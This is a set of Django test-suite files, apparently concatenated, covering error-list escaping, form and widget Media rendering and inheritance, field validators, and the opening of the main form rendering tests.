        self.assertHTMLEqual(
            str(ErrorDict({'name': example})),
            '<ul class="errorlist"><li>nameExample of link: '
            '&lt;a href=&quot;http://www.example.com/&quot;&gt;example&lt;/a&gt;</li></ul>'
        )
        self.assertHTMLEqual(
            str(ErrorDict({'name': mark_safe(example)})),
            '<ul class="errorlist"><li>nameExample of link: '
            '<a href="http://www.example.com/">example</a></li></ul>'
        )

    def test_error_dict_copy(self):
        e = ErrorDict()
        e['__all__'] = ErrorList([
            ValidationError(
                message='message %(i)s',
                params={'i': 1},
            ),
            ValidationError(
                message='message %(i)s',
                params={'i': 2},
            ),
        ])

        e_copy = copy.copy(e)
        self.assertEqual(e, e_copy)
        self.assertEqual(e.as_data(), e_copy.as_data())

        e_deepcopy = copy.deepcopy(e)
        self.assertEqual(e, e_deepcopy)
        self.assertEqual(e.as_data(), e_copy.as_data())

    def test_error_dict_html_safe(self):
        e = ErrorDict()
        e['username'] = 'Invalid username.'
        self.assertTrue(hasattr(ErrorDict, '__html__'))
        self.assertEqual(force_text(e), e.__html__())

    def test_error_list_html_safe(self):
        e = ErrorList(['Invalid username.'])
        self.assertTrue(hasattr(ErrorList, '__html__'))
        self.assertEqual(force_text(e), e.__html__())






# -*- coding: utf-8 -*-
from django.forms import CharField, Form, Media, MultiWidget, TextInput
from django.template import Context, Template
from django.test import SimpleTestCase, override_settings
from django.utils.encoding import force_text


@override_settings(
    STATIC_URL='http://media.example.com/static/',
)
class FormsMediaTestCase(SimpleTestCase):
    """Tests for the media handling on widgets and forms"""

    def test_construction(self):
        # Check construction of media objects
        m = Media(
            css={'all': ('path/to/css1', '/path/to/css2')},
            js=('/path/to/js1', 'http://media.other.com/path/to/js2', 'https://secure.other.com/path/to/js3'),
        )
        self.assertEqual(
            str(m),
            """<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="http://media.other.com/path/to/js2"></script>
<script type="text/javascript" src="https://secure.other.com/path/to/js3"></script>"""
        )

        class Foo:
            css = {
                'all': ('path/to/css1', '/path/to/css2')
            }
            js = ('/path/to/js1', 'http://media.other.com/path/to/js2', 'https://secure.other.com/path/to/js3')

        m3 = Media(Foo)
        self.assertEqual(
            str(m3),
            """<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="http://media.other.com/path/to/js2"></script>
<script type="text/javascript" src="https://secure.other.com/path/to/js3"></script>"""
        )

        # A widget can exist without a media definition
        class MyWidget(TextInput):
            pass

        w = MyWidget()
        self.assertEqual(str(w.media), '')

    def test_media_dsl(self):
        ###############################################################
        # DSL Class-based media definitions
        ###############################################################

        # A widget can define media if it needs to.
        # Any absolute path will be preserved; relative paths are combined
        # with the value of settings.MEDIA_URL
        class MyWidget1(TextInput):
            class Media:
                css = {
                    'all': ('path/to/css1', '/path/to/css2')
                }
                js = ('/path/to/js1', 'http://media.other.com/path/to/js2', 'https://secure.other.com/path/to/js3')

        w1 = MyWidget1()
        self.assertEqual(
            str(w1.media),
            """<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="http://media.other.com/path/to/js2"></script>
<script type="text/javascript" src="https://secure.other.com/path/to/js3"></script>"""
        )

        # Media objects can be interrogated by media type
        self.assertEqual(
            str(w1.media['css']),
            """<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />"""
        )

        self.assertEqual(
            str(w1.media['js']),
            """<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="http://media.other.com/path/to/js2"></script>
<script type="text/javascript" src="https://secure.other.com/path/to/js3"></script>"""
        )

    def test_combine_media(self):
        # Media objects can be combined. Any given media resource will appear only
        # once. Duplicated media definitions are ignored.
        class MyWidget1(TextInput):
            class Media:
                css = {
                    'all': ('path/to/css1', '/path/to/css2')
                }
                js = ('/path/to/js1', 'http://media.other.com/path/to/js2', 'https://secure.other.com/path/to/js3')

        class MyWidget2(TextInput):
            class Media:
                css = {
                    'all': ('/path/to/css2', '/path/to/css3')
                }
                js = ('/path/to/js1', '/path/to/js4')

        class MyWidget3(TextInput):
            class Media:
                css = {
                    'all': ('/path/to/css3', 'path/to/css1')
                }
                js = ('/path/to/js1', '/path/to/js4')

        w1 = MyWidget1()
        w2 = MyWidget2()
        w3 = MyWidget3()
        self.assertEqual(
            str(w1.media + w2.media + w3.media),
            """<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css3" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="http://media.other.com/path/to/js2"></script>
<script type="text/javascript" src="https://secure.other.com/path/to/js3"></script>
<script type="text/javascript" src="/path/to/js4"></script>"""
        )

        # Check that media addition hasn't affected the original objects
        self.assertEqual(
            str(w1.media),
            """<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="http://media.other.com/path/to/js2"></script>
<script type="text/javascript" src="https://secure.other.com/path/to/js3"></script>"""
        )

        # Regression check for #12879: specifying the same CSS or JS file
        # multiple times in a single Media instance should result in that file
        # only being included once.
        class MyWidget4(TextInput):
            class Media:
                css = {'all': ('/path/to/css1', '/path/to/css1')}
                js = ('/path/to/js1', '/path/to/js1')

        w4 = MyWidget4()
        self.assertEqual(str(w4.media), """<link href="/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>""")

    def test_media_property(self):
        ###############################################################
        # Property-based media definitions
        ###############################################################

        # Widget media can be defined as a property
        class MyWidget4(TextInput):
            def _media(self):
                return Media(css={'all': ('/some/path',)}, js=('/some/js',))
            media = property(_media)

        w4 = MyWidget4()
        self.assertEqual(str(w4.media), """<link href="/some/path" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/some/js"></script>""")

        # Media properties can reference the media of their parents
        class MyWidget5(MyWidget4):
            def _media(self):
                return super(MyWidget5, self).media + Media(css={'all': ('/other/path',)}, js=('/other/js',))
            media = property(_media)

        w5 = MyWidget5()
        self.assertEqual(str(w5.media), """<link href="/some/path" type="text/css" media="all" rel="stylesheet" />
<link href="/other/path" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/some/js"></script>
<script type="text/javascript" src="/other/js"></script>""")

    def test_media_property_parent_references(self):
        # Media properties can reference the media of their parents,
        # even if the parent media was defined using a class
        class MyWidget1(TextInput):
            class Media:
                css = {
                    'all': ('path/to/css1', '/path/to/css2')
                }
                js = ('/path/to/js1', 'http://media.other.com/path/to/js2', 'https://secure.other.com/path/to/js3')

        class MyWidget6(MyWidget1):
            def _media(self):
                return super(MyWidget6, self).media + Media(css={'all': ('/other/path',)}, js=('/other/js',))
            media = property(_media)

        w6 = MyWidget6()
        self.assertEqual(
            str(w6.media),
            """<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />
<link href="/other/path" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="http://media.other.com/path/to/js2"></script>
<script type="text/javascript" src="https://secure.other.com/path/to/js3"></script>
<script type="text/javascript" src="/other/js"></script>"""
        )

    def test_media_inheritance(self):
        ###############################################################
        # Inheritance of media
        ###############################################################

        # If a widget extends another but provides no media definition, it inherits the parent widget's media
        class MyWidget1(TextInput):
            class Media:
                css = {
                    'all': ('path/to/css1', '/path/to/css2')
                }
                js = ('/path/to/js1', 'http://media.other.com/path/to/js2', 'https://secure.other.com/path/to/js3')

        class MyWidget7(MyWidget1):
            pass

        w7 = MyWidget7()
        self.assertEqual(
            str(w7.media),
            """<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="http://media.other.com/path/to/js2"></script>
<script type="text/javascript" src="https://secure.other.com/path/to/js3"></script>"""
        )

        # If a widget extends another but defines media, it extends the parent widget's media by default
        class MyWidget8(MyWidget1):
            class Media:
                css = {
                    'all': ('/path/to/css3', 'path/to/css1')
                }
                js = ('/path/to/js1', '/path/to/js4')

        w8 = MyWidget8()
        self.assertEqual(
            str(w8.media),
            """<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css3" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="http://media.other.com/path/to/js2"></script>
<script type="text/javascript" src="https://secure.other.com/path/to/js3"></script>
<script type="text/javascript" src="/path/to/js4"></script>"""
        )

    def test_media_inheritance_from_property(self):
        # If a widget extends another but defines media, it extends the parents widget's media,
        # even if the parent defined media using a property.
        class MyWidget1(TextInput):
            class Media:
                css = {
                    'all': ('path/to/css1', '/path/to/css2')
                }
                js = ('/path/to/js1', 'http://media.other.com/path/to/js2', 'https://secure.other.com/path/to/js3')

        class MyWidget4(TextInput):
            def _media(self):
                return Media(css={'all': ('/some/path',)}, js=('/some/js',))
            media = property(_media)

        class MyWidget9(MyWidget4):
            class Media:
                css = {
                    'all': ('/other/path',)
                }
                js = ('/other/js',)

        w9 = MyWidget9()
        self.assertEqual(
            str(w9.media),
            """<link href="/some/path" type="text/css" media="all" rel="stylesheet" />
<link href="/other/path" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/some/js"></script>
<script type="text/javascript" src="/other/js"></script>"""
        )

        # A widget can disable media inheritance by specifying 'extend=False'
        class MyWidget10(MyWidget1):
            class Media:
                extend = False
                css = {
                    'all': ('/path/to/css3', 'path/to/css1')
                }
                js = ('/path/to/js1', '/path/to/js4')

        w10 = MyWidget10()
        self.assertEqual(str(w10.media), """<link href="/path/to/css3" type="text/css" media="all" rel="stylesheet" />
<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="/path/to/js4"></script>""")

    def test_media_inheritance_extends(self):
        # A widget can explicitly enable full media inheritance by specifying 'extend=True'
        class MyWidget1(TextInput):
            class Media:
                css = {
                    'all': ('path/to/css1', '/path/to/css2')
                }
                js = ('/path/to/js1', 'http://media.other.com/path/to/js2', 'https://secure.other.com/path/to/js3')

        class MyWidget11(MyWidget1):
            class Media:
                extend = True
                css = {
                    'all': ('/path/to/css3', 'path/to/css1')
                }
                js = ('/path/to/js1', '/path/to/js4')

        w11 = MyWidget11()
        self.assertEqual(
            str(w11.media),
            """<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css3" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="http://media.other.com/path/to/js2"></script>
<script type="text/javascript" src="https://secure.other.com/path/to/js3"></script>
<script type="text/javascript" src="/path/to/js4"></script>"""
        )

    def test_media_inheritance_single_type(self):
        # A widget can enable inheritance of one media type by specifying extend as a tuple
        class MyWidget1(TextInput):
            class Media:
                css = {
                    'all': ('path/to/css1', '/path/to/css2')
                }
                js = ('/path/to/js1', 'http://media.other.com/path/to/js2', 'https://secure.other.com/path/to/js3')

        class MyWidget12(MyWidget1):
            class Media:
                extend = ('css',)
                css = {
                    'all': ('/path/to/css3', 'path/to/css1')
                }
                js = ('/path/to/js1', '/path/to/js4')

        w12 = MyWidget12()
        self.assertEqual(
            str(w12.media),
            """<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css3" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="/path/to/js4"></script>"""
        )

    def test_multi_media(self):
        ###############################################################
        # Multi-media handling for CSS
        ###############################################################

        # A widget can define CSS media for multiple output media types
        class MultimediaWidget(TextInput):
            class Media:
                css = {
                    'screen, print': ('/file1', '/file2'),
                    'screen': ('/file3',),
                    'print': ('/file4',)
                }
                js = ('/path/to/js1', '/path/to/js4')

        multimedia = MultimediaWidget()
        self.assertEqual(
            str(multimedia.media),
            """<link href="/file4" type="text/css" media="print" rel="stylesheet" />
<link href="/file3" type="text/css" media="screen" rel="stylesheet" />
<link href="/file1" type="text/css" media="screen, print" rel="stylesheet" />
<link href="/file2" type="text/css" media="screen, print" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="/path/to/js4"></script>"""
        )

    def test_multi_widget(self):
        ###############################################################
        # Multiwidget media handling
        ###############################################################

        class MyWidget1(TextInput):
            class Media:
                css = {
                    'all': ('path/to/css1', '/path/to/css2')
                }
                js = ('/path/to/js1', 'http://media.other.com/path/to/js2', 'https://secure.other.com/path/to/js3')

        class MyWidget2(TextInput):
            class Media:
                css = {
                    'all': ('/path/to/css2', '/path/to/css3')
                }
                js = ('/path/to/js1', '/path/to/js4')

        class MyWidget3(TextInput):
            class Media:
                css = {
                    'all': ('/path/to/css3', 'path/to/css1')
                }
                js = ('/path/to/js1', '/path/to/js4')

        # MultiWidgets have a default media definition that gets all the
        # media from the component widgets
        class MyMultiWidget(MultiWidget):
            def __init__(self, attrs=None):
                widgets = [MyWidget1, MyWidget2, MyWidget3]
                super(MyMultiWidget, self).__init__(widgets, attrs)

        mymulti = MyMultiWidget()
        self.assertEqual(
            str(mymulti.media),
            """<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css3" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="http://media.other.com/path/to/js2"></script>
<script type="text/javascript" src="https://secure.other.com/path/to/js3"></script>
<script type="text/javascript" src="/path/to/js4"></script>"""
        )

    def test_form_media(self):
        ###############################################################
        # Media processing for forms
        ###############################################################

        class MyWidget1(TextInput):
            class Media:
                css = {
                    'all': ('path/to/css1', '/path/to/css2')
                }
                js = ('/path/to/js1', 'http://media.other.com/path/to/js2', 'https://secure.other.com/path/to/js3')

        class MyWidget2(TextInput):
            class Media:
                css = {
                    'all': ('/path/to/css2', '/path/to/css3')
                }
                js = ('/path/to/js1', '/path/to/js4')

        class MyWidget3(TextInput):
            class Media:
                css = {
                    'all': ('/path/to/css3', 'path/to/css1')
                }
                js = ('/path/to/js1', '/path/to/js4')

        # You can ask a form for the media required by its widgets.
        class MyForm(Form):
            field1 = CharField(max_length=20, widget=MyWidget1())
            field2 = CharField(max_length=20, widget=MyWidget2())
        f1 = MyForm()
        self.assertEqual(
            str(f1.media),
            """<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css3" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="http://media.other.com/path/to/js2"></script>
<script type="text/javascript" src="https://secure.other.com/path/to/js3"></script>
<script type="text/javascript" src="/path/to/js4"></script>"""
        )

        # Form media can be combined to produce a single media definition.
        class AnotherForm(Form):
            field3 = CharField(max_length=20, widget=MyWidget3())
        f2 = AnotherForm()
        self.assertEqual(
            str(f1.media + f2.media),
            """<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css3" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="http://media.other.com/path/to/js2"></script>
<script type="text/javascript" src="https://secure.other.com/path/to/js3"></script>
<script type="text/javascript" src="/path/to/js4"></script>"""
        )

        # Forms can also define media, following the same rules as widgets.
        class FormWithMedia(Form):
            field1 = CharField(max_length=20, widget=MyWidget1())
            field2 = CharField(max_length=20, widget=MyWidget2())

            class Media:
                js = ('/some/form/javascript',)
                css = {
                    'all': ('/some/form/css',)
                }
        f3 = FormWithMedia()
        self.assertEqual(
            str(f3.media),
            """<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css3" type="text/css" media="all" rel="stylesheet" />
<link href="/some/form/css" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="http://media.other.com/path/to/js2"></script>
<script type="text/javascript" src="https://secure.other.com/path/to/js3"></script>
<script type="text/javascript" src="/path/to/js4"></script>
<script type="text/javascript" src="/some/form/javascript"></script>"""
        )

        # Media works in templates
        self.assertEqual(
            Template("{{ form.media.js }}{{ form.media.css }}").render(Context({'form': f3})),
            """<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="http://media.other.com/path/to/js2"></script>
<script type="text/javascript" src="https://secure.other.com/path/to/js3"></script>
<script type="text/javascript" src="/path/to/js4"></script>
<script type="text/javascript" src="/some/form/javascript"></script>"""
            """<link href="http://media.example.com/static/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css3" type="text/css" media="all" rel="stylesheet" />
<link href="/some/form/css" type="text/css" media="all" rel="stylesheet" />"""
        )

    def test_html_safe(self):
        media = Media(css={'all': ['/path/to/css']}, js=['/path/to/js'])
        self.assertTrue(hasattr(Media, '__html__'))
        self.assertEqual(force_text(media), media.__html__())






from __future__ import unicode_literals

import re
from unittest import TestCase

from django import forms
from django.core import validators
from django.core.exceptions import ValidationError


class TestFieldWithValidators(TestCase):
    def test_all_errors_get_reported(self):
        class UserForm(forms.Form):
            full_name = forms.CharField(
                max_length=50,
                validators=[
                    validators.validate_integer,
                    validators.validate_email,
                ]
            )
            string = forms.CharField(
                max_length=50,
                validators=[
                    validators.RegexValidator(
                        regex='^[a-zA-Z]*$',
                        message="Letters only.",
                    )
                ]
            )
            ignore_case_string = forms.CharField(
                max_length=50,
                validators=[
                    validators.RegexValidator(
                        regex='^[a-z]*$',
                        message="Letters only.",
                        flags=re.IGNORECASE,
                    )
                ]
            )

        form = UserForm({
            'full_name': 'not int nor mail',
            'string': '2 is not correct',
            'ignore_case_string': "IgnORE Case strIng",
        })
        with self.assertRaises(ValidationError) as e:
            form.fields['full_name'].clean('not int nor mail')
        self.assertEqual(2, len(e.exception.messages))

        self.assertFalse(form.is_valid())
        self.assertEqual(form.errors['string'], ["Letters only."])
        self.assertEqual(form.errors['string'], ["Letters only."])

    def test_field_validators_can_be_any_iterable(self):
        class UserForm(forms.Form):
            full_name = forms.CharField(
                max_length=50,
                validators=(
                    validators.validate_integer,
                    validators.validate_email,
                )
            )

        form = UserForm({'full_name': 'not int nor mail'})
        self.assertFalse(form.is_valid())
        self.assertEqual(form.errors['full_name'], ['Enter a valid integer.', 'Enter a valid email address.'])












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import copy
import datetime
import json
import uuid

from django.core.exceptions import NON_FIELD_ERRORS
from django.core.files.uploadedfile import SimpleUploadedFile
from django.core.validators import RegexValidator
from django.forms import (
    BooleanField, CharField, CheckboxSelectMultiple, ChoiceField, DateField,
    DateTimeField, EmailField, FileField, FloatField, Form, HiddenInput,
    ImageField, IntegerField, MultipleChoiceField, MultipleHiddenInput,
    MultiValueField, NullBooleanField, PasswordInput, RadioSelect, Select,
    SplitDateTimeField, SplitHiddenDateTimeWidget, Textarea, TextInput,
    TimeField, ValidationError, forms,
)
from django.forms.utils import ErrorList
from django.http import QueryDict
from django.template import Context, Template
from django.test import SimpleTestCase
from django.test.utils import str_prefix
from django.utils import six
from django.utils.datastructures import MultiValueDict
from django.utils.encoding import force_text, python_2_unicode_compatible
from django.utils.html import format_html
from django.utils.safestring import SafeData, mark_safe


class Person(Form):
    first_name = CharField()
    last_name = CharField()
    birthday = DateField()


class PersonNew(Form):
    first_name = CharField(widget=TextInput(attrs={'id': 'first_name_id'}))
    last_name = CharField()
    birthday = DateField()


class MultiValueDictLike(dict):
    def getlist(self, key):
        return [self[key]]


class FormsTestCase(SimpleTestCase):
    # A Form is a collection of Fields. It knows how to validate a set of data and it
    # knows how to render itself in a couple of default ways (e.g., an HTML table).
    # You can pass it data in __init__(), as a dictionary.

    def test_form(self):
        # Pass a dictionary to a Form's __init__().
        p = Person({'first_name': 'John', 'last_name': 'Lennon', 'birthday': '1940-10-9'})

        self.assertTrue(p.is_bound)
        self.assertEqual(p.errors, {})
        self.assertTrue(p.is_valid())
        self.assertHTMLEqual(p.errors.as_ul(), '')
        self.assertEqual(p.errors.as_text(), '')
        self.assertEqual(p.cleaned_data["first_name"], 'John')
        self.assertEqual(p.cleaned_data["last_name"], 'Lennon')
        self.assertEqual(p.cleaned_data["birthday"], datetime.date(1940, 10, 9))
        self.assertHTMLEqual(
            str(p['first_name']),
            '<input type="text" name="first_name" value="John" id="id_first_name" required />'
        )
        self.assertHTMLEqual(
            str(p['last_name']),
            '<input type="text" name="last_name" value="Lennon" id="id_last_name" required />'
        )
        self.assertHTMLEqual(
            str(p['birthday']),
            '<input type="text" name="birthday" value="1940-10-9" id="id_birthday" required />'
        )

        msg = "Key 'nonexistentfield' not found in 'Person'. Choices are: birthday, first_name, last_name."
        with self.assertRaisesMessage(KeyError, msg):
            p['nonexistentfield']

        form_output = []

        for boundfield in p:
            form_output.append(str(boundfield))

        self.assertHTMLEqual(
            '\n'.join(form_output),
            """<input type="text" name="first_name" value="John" id="id_first_name" required />
<input type="text" name="last_name" value="Lennon" id="id_last_name" required />
<input type="text" name="birthday" value="1940-10-9" id="id_birthday" required />"""
        )

        form_output = []

        for boundfield in p:
            form_output.append([boundfield.label, boundfield.data])

        self.assertEqual(form_output, [
            ['First name', 'John'],
            ['Last name', 'Lennon'],
            ['Birthday', '1940-10-9']
        ])
        self.assertHTMLEqual(
            str(p),
            """<tr><th><label for="id_first_name">First name:</label></th><td>
<input type="text" name="first_name" value="John" id="id_first_name" required /></td></tr>
<tr><th><label for="id_last_name">Last name:</label></th><td>
<input type="text" name="last_name" value="Lennon" id="id_last_name" required /></td></tr>
<tr><th><label for="id_birthday">Birthday:</label></th><td>
<input type="text" name="birthday" value="1940-10-9" id="id_birthday" required /></td></tr>"""
        )

    def test_empty_dict(self):
        # Empty dictionaries are valid, too.
        p = Person({})
        self.assertTrue(p.is_bound)
        self.assertEqual(p.errors['first_name'], ['This field is required.'])
        self.assertEqual(p.errors['last_name'], ['This field is required.'])
        self.assertEqual(p.errors['birthday'], ['This field is required.'])
        self.assertFalse(p.is_valid())
        self.assertEqual(p.cleaned_data, {})
        self.assertHTMLEqual(
            str(p),
            """<tr><th><label for="id_first_name">First name:</label></th><td>
<ul class="errorlist"><li>This field is required.</li></ul>
<input type="text" name="first_name" id="id_first_name" required /></td></tr>
<tr><th><label for="id_last_name">Last name:</label></th>
<td><ul class="errorlist"><li>This field is required.</li></ul>
<input type="text" name="last_name" id="id_last_name" required /></td></tr>
<tr><th><label for="id_birthday">Birthday:</label></th><td>
<ul class="errorlist"><li>This field is required.</li></ul>
<input type="text" name="birthday" id="id_birthday" required /></td></tr>"""
        )
        self.assertHTMLEqual(
            p.as_table(),
            """<tr><th><label for="id_first_name">First name:</label></th><td>
<ul class="errorlist"><li>This field is required.</li></ul>
<input type="text" name="first_name" id="id_first_name" required /></td></tr>
<tr><th><label for="id_last_name">Last name:</label></th>
<td><ul class="errorlist"><li>This field is required.</li></ul>
<input type="text" name="last_name" id="id_last_name" required /></td></tr>
<tr><th><label for="id_birthday">Birthday:</label></th>
<td><ul class="errorlist"><li>This field is required.</li></ul>
<input type="text" name="birthday" id="id_birthday" required /></td></tr>"""
        )
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><ul class="errorlist"><li>This field is required.</li></ul>
<label for="id_first_name">First name:</label>
<input type="text" name="first_name" id="id_first_name" required /></li>
<li><ul class="errorlist"><li>This field is required.</li></ul>
<label for="id_last_name">Last name:</label>
<input type="text" name="last_name" id="id_last_name" required /></li>
<li><ul class="errorlist"><li>This field is required.</li></ul>
<label for="id_birthday">Birthday:</label>
<input type="text" name="birthday" id="id_birthday" required /></li>"""
        )
        self.assertHTMLEqual(
            p.as_p(),
            """<ul class="errorlist"><li>This field is required.</li></ul>
<p><label for="id_first_name">First name:</label>
<input type="text" name="first_name" id="id_first_name" required /></p>
<ul class="errorlist"><li>This field is required.</li></ul>
<p><label for="id_last_name">Last name:</label>
<input type="text" name="last_name" id="id_last_name" required /></p>
<ul class="errorlist"><li>This field is required.</li></ul>
<p><label for="id_birthday">Birthday:</label>
<input type="text" name="birthday" id="id_birthday" required /></p>"""
        )

    def test_unbound_form(self):
        # If you don't pass any values to the Form's __init__(), or if you pass None,
        # the Form will be considered unbound and won't do any validation. Form.errors
        # will be an empty dictionary *but* Form.is_valid() will return False.
        p = Person()
        self.assertFalse(p.is_bound)
        self.assertEqual(p.errors, {})
        self.assertFalse(p.is_valid())
        with self.assertRaises(AttributeError):
            p.cleaned_data

        self.assertHTMLEqual(
            str(p),
            """<tr><th><label for="id_first_name">First name:</label></th><td>
<input type="text" name="first_name" id="id_first_name" required /></td></tr>
<tr><th><label for="id_last_name">Last name:</label></th><td>
<input type="text" name="last_name" id="id_last_name" required /></td></tr>
<tr><th><label for="id_birthday">Birthday:</label></th><td>
<input type="text" name="birthday" id="id_birthday" required /></td></tr>"""
        )
        self.assertHTMLEqual(
            p.as_table(),
            """<tr><th><label for="id_first_name">First name:</label></th><td>
<input type="text" name="first_name" id="id_first_name" required /></td></tr>
<tr><th><label for="id_last_name">Last name:</label></th><td>
<input type="text" name="last_name" id="id_last_name" required /></td></tr>
<tr><th><label for="id_birthday">Birthday:</label></th><td>
<input type="text" name="birthday" id="id_birthday" required /></td></tr>"""
        )
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><label for="id_first_name">First name:</label>
<input type="text" name="first_name" id="id_first_name" required /></li>
<li><label for="id_last_name">Last name:</label>
<input type="text" name="last_name" id="id_last_name" required /></li>
<li><label for="id_birthday">Birthday:</label>
<input type="text" name="birthday" id="id_birthday" required /></li>"""
        )
        self.assertHTMLEqual(
            p.as_p(),
            """<p><label for="id_first_name">First name:</label>
<input type="text" name="first_name" id="id_first_name" required /></p>
<p><label for="id_last_name">Last name:</label>
<input type="text" name="last_name" id="id_last_name" required /></p>
<p><label for="id_birthday">Birthday:</label>
<input type="text" name="birthday" id="id_birthday" required /></p>"""
        )

    def test_unicode_values(self):
        # Unicode values are handled properly.
        p = Person({
            'first_name': 'John',
            'last_name': '\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111',
            'birthday': '1940-10-9'
        })
        self.assertHTMLEqual(
            p.as_table(),
            '<tr><th><label for="id_first_name">First name:</label></th><td>'
            '<input type="text" name="first_name" value="John" id="id_first_name" required /></td></tr>\n'
            '<tr><th><label for="id_last_name">Last name:</label>'
            '</th><td><input type="text" name="last_name" '
            'value="\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111"'
            'id="id_last_name" required /></td></tr>\n'
            '<tr><th><label for="id_birthday">Birthday:</label></th><td>'
            '<input type="text" name="birthday" value="1940-10-9" id="id_birthday" required /></td></tr>'
        )
        self.assertHTMLEqual(
            p.as_ul(),
            '<li><label for="id_first_name">First name:</label> '
            '<input type="text" name="first_name" value="John" id="id_first_name" required /></li>\n'
            '<li><label for="id_last_name">Last name:</label> '
            '<input type="text" name="last_name" '
            'value="\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111" id="id_last_name" required /></li>\n'
            '<li><label for="id_birthday">Birthday:</label> '
            '<input type="text" name="birthday" value="1940-10-9" id="id_birthday" required /></li>'
        )
        self.assertHTMLEqual(
            p.as_p(),
            '<p><label for="id_first_name">First name:</label> '
            '<input type="text" name="first_name" value="John" id="id_first_name" required /></p>\n'
            '<p><label for="id_last_name">Last name:</label> '
            '<input type="text" name="last_name" '
            'value="\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111" id="id_last_name" required /></p>\n'
            '<p><label for="id_birthday">Birthday:</label> '
            '<input type="text" name="birthday" value="1940-10-9" id="id_birthday" required /></p>'
        )

        p = Person({'last_name': 'Lennon'})
        self.assertEqual(p.errors['first_name'], ['This field is required.'])
        self.assertEqual(p.errors['birthday'], ['This field is required.'])
        self.assertFalse(p.is_valid())
        self.assertDictEqual(
            p.errors,
            {'birthday': ['This field is required.'], 'first_name': ['This field is required.']}
        )
        self.assertEqual(p.cleaned_data, {'last_name': 'Lennon'})
        self.assertEqual(p['first_name'].errors, ['This field is required.'])
        self.assertHTMLEqual(
            p['first_name'].errors.as_ul(),
            '<ul class="errorlist"><li>This field is required.</li></ul>'
        )
        self.assertEqual(p['first_name'].errors.as_text(), '* This field is required.')

        p = Person()
        self.assertHTMLEqual(
            str(p['first_name']),
            '<input type="text" name="first_name" id="id_first_name" required />',
        )
